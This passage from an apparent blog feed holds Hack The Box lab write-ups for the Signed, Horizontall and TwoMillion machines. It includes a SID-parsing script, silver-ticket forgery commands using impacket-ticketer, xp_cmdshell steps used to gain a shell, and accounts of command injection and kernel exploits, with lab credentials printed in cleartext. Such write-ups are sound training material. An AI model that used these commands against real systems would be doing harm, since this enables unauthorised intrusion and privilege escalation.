    &quot;&quot;&quot;
    b = _normalize_input(input_value)
    if len(b) &amp;lt; 8:
        raise ValueError(&quot;Binary SID too short.&quot;)

    rev = b[0]
    sub_count = b[1]
    id_auth = int.from_bytes(b[2:8], &quot;big&quot;)

    # Validate length
    expected_len = 8 + (4 * sub_count)
    if len(b) &amp;lt; expected_len:
        raise ValueError(f&quot;Binary SID shorter than expected for {sub_count} subauthorities.&quot;)

    subs: List[int] = []
    offset = 8
    for i in range(sub_count):
        sub = int.from_bytes(b[offset:offset + 4], &quot;little&quot;, signed=False)
        subs.append(sub)
        offset += 4

    sid_parts = [&quot;S&quot;, str(rev), str(id_auth)] + [str(x) for x in subs]
    return &quot;-&quot;.join(sid_parts)


def domain_sid(sid_text: str) -&amp;gt; str:
    &quot;&quot;&quot;
    Return the domain SID (everything except the last RID).
    Example:
      input:  S-1-5-21-4088429403-1159899800-2753317549-1105
      output: S-1-5-21-4088429403-1159899800-2753317549
    &quot;&quot;&quot;
    parts = sid_text.split(&quot;-&quot;)
    if len(parts) &amp;lt; 4:
        raise ValueError(&quot;SID format unexpected.&quot;)
    # remove last element (RID)
    return &quot;-&quot;.join(parts[:-1])


def rid_from_sid(sid_text: str) -&amp;gt; str:
    parts = sid_text.split(&quot;-&quot;)
    if len(parts) &amp;lt; 4:
        raise ValueError(&quot;SID format unexpected.&quot;)
    return parts[-1]


def _cli_main(argv):
    if len(argv) &amp;lt; 2:
        print(&quot;Usage: sid_parse.py &amp;lt;hex-sid-or-SQL-b&apos;...&apos;&amp;gt; [more values...]&quot;)
        sys.exit(2)

    for token in argv[1:]:
        try:
            sid = parse_sid(token)
        except Exception as e:
            print(f&quot;[ERROR] Could not parse &apos;{token}&apos;: {e}&quot;)
            continue

        dom = domain_sid(sid)
        rid = rid_from_sid(sid)
        print(f&quot;Input: {token}&quot;)
        print(f&quot; SID : {sid}&quot;)
        print(f&quot; DOM : {dom}&quot;)
        print(f&quot; RID : {rid}&quot;)
        print(&quot;-&quot; * 60)


if __name__ == &quot;__main__&quot;:
    _cli_main(sys.argv)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This worked like a charm when testing the IT group:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/296122ef772ba5887396679f22bf68a3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;ticketer&lt;/h3&gt;
&lt;p&gt;Using this knowledge we can use &lt;code&gt;impacket-ticketer&lt;/code&gt; to create a silver ticket.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-ticketer -nthash &amp;lt;controledSPNUserNT&amp;gt; -domain-sid &amp;lt;targetdomainSID&amp;gt; -domain &amp;lt;targetDomain&amp;gt; -spn &amp;lt;SPN service&amp;gt; -user-id &amp;lt;impersonateuserSID&amp;gt; -groups &amp;lt;impersonateGroup&amp;gt; &amp;lt;impersonateUsername&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To form the &lt;code&gt;nthash&lt;/code&gt; we can use the following method:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/21aa72df8a76def8dc34666a1699308a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d5b85363634f2d58ce8425e7f644fa21.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid &apos;S-1-5-21-4088429403-1159899800-2753317549&apos; -domain signed.htb -spn mssql/dc01.signed.htb -groups 1105 IT
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we can save the ticket:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5fda0d502c2a71238f5b2e520e5dbeec.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/abaf59bc8b8ecc95660c005c977abee9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using the forged ticket we can now login as the administrator account:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/041d81ac4f4b5bc7beddc5c4e8a6da68.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Reverse Shell as mssqlsvc&lt;/h2&gt;
&lt;p&gt;Using the following commands we get ourselves a reverse shell:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;EXECUTE sp_configure &apos;show advanced options&apos;, 1; RECONFIGURE;
EXECUTE sp_configure &apos;xp_cmdshell&apos;, 1; RECONFIGURE;
EXECUTE xp_cmdshell &apos;&amp;lt;cmd&amp;gt;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9dd4d3b9b61035fc0f1796745a91e01b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3e9bd1cb7878c77afae49969c261750b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/da66fdc8e5d88a20b56d857716e194c1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;File Read - UNINTENDED way&lt;/h2&gt;
&lt;p&gt;:::warning
While this is the UNINTENDED way according to the box creator, this still works and also shows that the target is vulnerable to this attack:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cc5762350734925e6bedb681520c1212.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;We find the user SID&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0f1ed3a0ea1b10490fd97e22049640d2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Having this knowledge we can use &lt;code&gt;ticketer&lt;/code&gt; again:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid &apos;S-1-5-21-4088429403-1159899800-2753317549&apos; -domain signed.htb -spn mssql/dc01.signed.htb -groups 1105,512,519 -user-id 1103 mssqlsvc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/940ce957e2a4d0a050a1d7126994f5c2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using the above command we have created a ticket where we impersonate ourselves as an Administrative account. This way we can achieve file read:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b7f3eca4d7c2942c2b1f712cc959df59.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While this didn&apos;t work, the following did:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5783cf60dfca6f6a390348ac8ca62cf8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6f081466f4897451d889ddca9cdd4bc9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Horizontall</title><link>https://maxk9999.vercel.app/posts/horizontall</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/horizontall</guid><pubDate>Sat, 25 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.105
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -vvvv -T5 --min-rate=5000 -Pn horizontall.htb

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack nginx 1.14.0 (Ubuntu)
|_http-title: horizontall
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 1BA2AE710D927F13D483FD5D1E548C9B
| http-methods: 
|_  Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fb698446ddcc1a65f4229493ff0953c2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5e18d5fdb8e9da8cef324265a38d4b11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It looks like a static site.&lt;/p&gt;
&lt;p&gt;I ran a &lt;code&gt;gobuster&lt;/code&gt; scan but found nothing useful:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7b6829fb18ed997791d1d6145a2ef901.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I did find some obfuscated &lt;code&gt;js&lt;/code&gt; code in the source code that I ran in &lt;a href=&quot;https://prettier.io/playground&quot;&gt;prettier.io&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d613a324fb87898229082841a18e1a19.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Going all the way down I noticed the following which looked like a vhost:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/77bed367eb56772ade85e8d9ff10efbe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;api-prod&lt;/h2&gt;
&lt;p&gt;I added the &lt;code&gt;vhost&lt;/code&gt; and started enumerating the host:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f2d7be2c4e28da2b5d46f693a8d2de41.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a0596360f4bf9eb4c646410477f0e82b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I checked the response in &lt;code&gt;caido&lt;/code&gt; since the page was empty:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/23940f245dd550f025ff3727b90a3167.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I headed over to the endpoint that I&apos;d found earlier:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7ed164fb51d8bfc9e8600592ea7a7e91.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then used &lt;code&gt;gobuster&lt;/code&gt; to enumerate the endpoints:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b68011db1fe6a4725a6072c15893cdfd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;CVE-2019-19609&lt;/h2&gt;
&lt;p&gt;I searched for relevant exploits and found an &lt;strong&gt;Unauthenticated RCE&lt;/strong&gt; which could be big.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6a6e583cd92ae3288178e793eb3be415.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I downloaded the exploit from exploit-db and tried it out:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cf6e26c420e576269c98f6497c5014e2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once I had achieved RCE I ran the following payload to achieve a foothold:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ddd744879ea91afb35bf8b4e19d04f91.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as strapi&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/488a7ec928ff20ddbd55f4fb42673196.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I noticed one other user present on the target:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6ed1476aacbf936dcbac6cda219cc1d2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and read the user flag right away.&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eb2827f1e6035136d81160ab00622e23.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Other than that I had no permissions over any files or directories in &lt;em&gt;developer&lt;/em&gt;&apos;s &lt;code&gt;/home&lt;/code&gt; directory.&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;I transferred over &lt;code&gt;linpeas.sh&lt;/code&gt; and got to work:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cf6faf88ebbb270a6fe917772831c9ba.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bc872329ba53a2d7a6f6ac09f69dafbc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/07231dcfd157b5996a254bccea842684.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Other than that I also found the credentials for &lt;em&gt;developer&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/46aba36ad9fe314cb9f5b37f2ec1f03b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;developer
#J!:F9Zt2u
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;While we couldn&apos;t use these creds to &lt;code&gt;su&lt;/code&gt;, we couldn&apos;t access &lt;code&gt;mysql&lt;/code&gt; with them either.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e2517be7eb0927534e51de3919d61b10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;pwnkit&lt;/h2&gt;
&lt;p&gt;The priv esc was actually rather simple, we indeed just had to run &lt;code&gt;pwnkit.py&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9ceeff94ca7718af8119d94857a09454.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a93ca71424951738d88abb50c9c8c5d9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/730951e8a082375f91e4b4787b9f8b35.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-TwoMillion</title><link>https://maxk9999.vercel.app/posts/twomillion</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/twomillion</guid><pubDate>Sat, 25 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.221
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -vvvv -T5 --min-rate=5000 -Pn 2million.htb

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack nginx
| http-methods: 
|_  Supported Methods: GET
|_http-favicon: Unknown favicon MD5: 20E95ACF205EBFDCB6D634B7440B0CEE
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Hack The Box :: Penetration Testing Labs
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/953c66c1bf24f8cc848469c24f97da64.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I checked out &lt;code&gt;wappalyzer&lt;/code&gt; to learn more about the tech stack:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a7bc65bc35550247d22bdef502c8cbb9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;gobuster&lt;/h3&gt;
&lt;p&gt;Time for some directory enum.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cc96f1cb391d77ee1ee758ae6faa7346.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I noticed an &lt;code&gt;/api&lt;/code&gt; endpoint but it gave a &lt;code&gt;401&lt;/code&gt; code so I couldn&apos;t access it (yet). Instead I checked out the &lt;code&gt;/invite&lt;/code&gt; endpoint.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1e6f422ce4909b9fed40f2be13f54c00.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I checked out the source code and noticed the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f898238105f5f275fb3ad723ba37609f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I checked out the &lt;code&gt;inviteapi.min.js&lt;/code&gt; code:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d1e24d40c55c78722d5c7da3f4df77c1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This looked like obfuscated &lt;code&gt;js&lt;/code&gt; code, let&apos;s unpack it.&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;JavaScript Deobfuscation&lt;/h2&gt;
&lt;p&gt;For this I used &lt;a href=&quot;https://matthewfl.com/unPacker.html&quot;&gt;unPacker&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8df7c838f15f6c9d728d07c273935d2f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function verifyInviteCode(code)
	{
	var formData=
		{
		&quot;code&quot;:code
	};
	$.ajax(
		{
		type:&quot;POST&quot;,dataType:&quot;json&quot;,data:formData,url:&apos;/api/v1/invite/verify&apos;,success:function(response)
			{
			console.log(response)
		}
		,error:function(response)
			{
			console.log(response)
		}
	}
	)
}
function makeInviteCode()
	{
	$.ajax(
		{
		type:&quot;POST&quot;,dataType:&quot;json&quot;,url:&apos;/api/v1/invite/how/to/generate&apos;,success:function(response)
			{
			console.log(response)
		}
		,error:function(response)
			{
			console.log(response)
		}
	}
	)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This looks interesting, we can analyse the &lt;code&gt;api&lt;/code&gt; call through &lt;code&gt;caido&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/43f706675787f373575605a1e570955e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It says the encryption type is &lt;code&gt;ROT13&lt;/code&gt; which is easily decoded.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fd8a32b3a60996cb4194faa4a9489c66.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We follow the instructions:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/58c4d969897b704df7059cab4f7fe087.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This time we get no hint but can clearly see that it&apos;s &lt;code&gt;base64&lt;/code&gt; encoded.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/02dc0fcb3591a4283e6de2eda4216502.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By entering this code we can access the &lt;code&gt;/register&lt;/code&gt; endpoint:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/63c3a178094e6c73ba0e13e9f71eda37.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then registered and tried logging in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/00e9287af4630377566eb544d05d28d2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/76ff53ee46498485b8d2e87b6c58ac4f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Most of the tabs are static but some are still interactive:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fc8b673afa3dfeb2eb62a1b278e06872.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I didn&apos;t find anything useful here for now.&lt;/p&gt;
&lt;h2&gt;API testing&lt;/h2&gt;
&lt;p&gt;Now that I had access I went on to test if I could access the &lt;code&gt;/api&lt;/code&gt; endpoint:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/90c99533ba5a80ebab2247128637ccc7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Especially this setting looks promising:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4708a19818881d34aa6ce24a12abfa0f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We might be able to use this in order to escalate privileges.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0624087e6dd1238141dc1f3a2fc45ca4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I received an error about the content type so let&apos;s add the &lt;code&gt;application/json&lt;/code&gt; in the headers.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/43e7be7bbc4f0391d6c2eb18a04d2faf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We need to add the email.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ad8c96c199c8f4b6762fe3123478ff8e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now it tells us to add &lt;code&gt;is_admin&lt;/code&gt; so I added a &lt;code&gt;1&lt;/code&gt; which indicates &lt;code&gt;true&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/22a4b47baef9612a5b648cf1a3437fd6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It returns a &lt;code&gt;200&lt;/code&gt; which means it worked!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8e0b98a99cd786c30a09d6258171d9a5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Checking the &lt;code&gt;GET&lt;/code&gt; request returns &lt;code&gt;true&lt;/code&gt; meaning we successfully changed the user to an admin.&lt;/p&gt;
&lt;p&gt;Next up I tried playing around with the &lt;code&gt;POST&lt;/code&gt; request:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/65d636f3c019c219fbdcd84bdbf51f8f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7e2ce59301101f2031db7d5afa48087a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This request directly interacts with the backend and generates a vpn pack, we can try to inject commands here.&lt;/p&gt;
&lt;h2&gt;Command Injection&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1373d2fc19337eab9e3a32b31a48388c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;No response but it did give us a &lt;code&gt;200&lt;/code&gt;, let&apos;s test it further. In case the backend is executing a &lt;code&gt;bash&lt;/code&gt; command we can try commenting out other options and/or commands by using &lt;code&gt;#&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6a0a70b3d13cd7dd1b70502cf64106c5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5b1749134e0757b843e0b681fb909aef.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as www-data&lt;/h2&gt;
&lt;p&gt;Using the found &lt;strong&gt;Command Injection&lt;/strong&gt; vulnerability we can get a reverse shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bf4ecf924c1fa0007f92332eca8f412a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3e7fd8c0c426aa7fae6eeacd0b602752.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then enumerated the current directory where I found cleartext credentials in the &lt;code&gt;.env&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/197c16943bbaecb7f1ff4b748877988f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin
SuperDuperPass123
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;MySQL&lt;/h2&gt;
&lt;p&gt;Using the found creds we can log into &lt;code&gt;mysql&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d7eacede57165dd55efa143626bc2513.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b4eabaeedd305a243a6b1ccca4d6d9be.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried cracking these but neither worked. Time for some enum.&lt;/p&gt;
&lt;h2&gt;Lateral Movement to admin&lt;/h2&gt;
&lt;p&gt;I enumerated the users:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/aa4904aa93ea4e30693bc760dd5a8074.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then tried the found password for password reuse:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6e7d55d2d3789302658c65a93d260978.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then started checking the environment:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/04ab66eaf53054af65de1542611eb0a3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dcb2356aa0d58059aed804c50a398566.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;I download over &lt;code&gt;linpeas&lt;/code&gt; and during enum found this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e7d310d2432168348313ccbf8a5d27a4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found this content inside:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;From: ch4p &amp;lt;ch4p@2million.htb&amp;gt;
To: admin &amp;lt;admin@2million.htb&amp;gt;
Cc: g0blin &amp;lt;g0blin@2million.htb&amp;gt;
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: &amp;lt;9876543210@2million.htb&amp;gt;
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I&apos;m know you&apos;re working as fast as you can to do the DB migration. While we&apos;re partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can&apos;t get popped by that.

HTB Godfather
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I did some searching and found a CVE:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/07af7d114681a3944e07f10f087a92d0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;CVE-2023-0386&lt;/h2&gt;
&lt;p&gt;I did some digging on github:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9632521facea3ecfe2f9a94b32462df2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/67327313eac2a76a511000f3f90067fe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I transferred the files to the target and executed the commands:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2f62629fc58bab73a72483efb27e20d5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3154194b0cb889398e0f961a50059ca5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can then easily exploit it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e402ae65298274a5873fccf1a35fd285.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2701b28b5dd91600aff5483384a9312a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ae293f6de4dfc2d1759d19b438545fe3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Conversor</title><link>https://maxk9999.vercel.app/posts/conversor</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/conversor</guid><pubDate>Sun, 26 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import PasswordProtect from &quot;~/components/PasswordProtect.client&quot;;&lt;/p&gt;
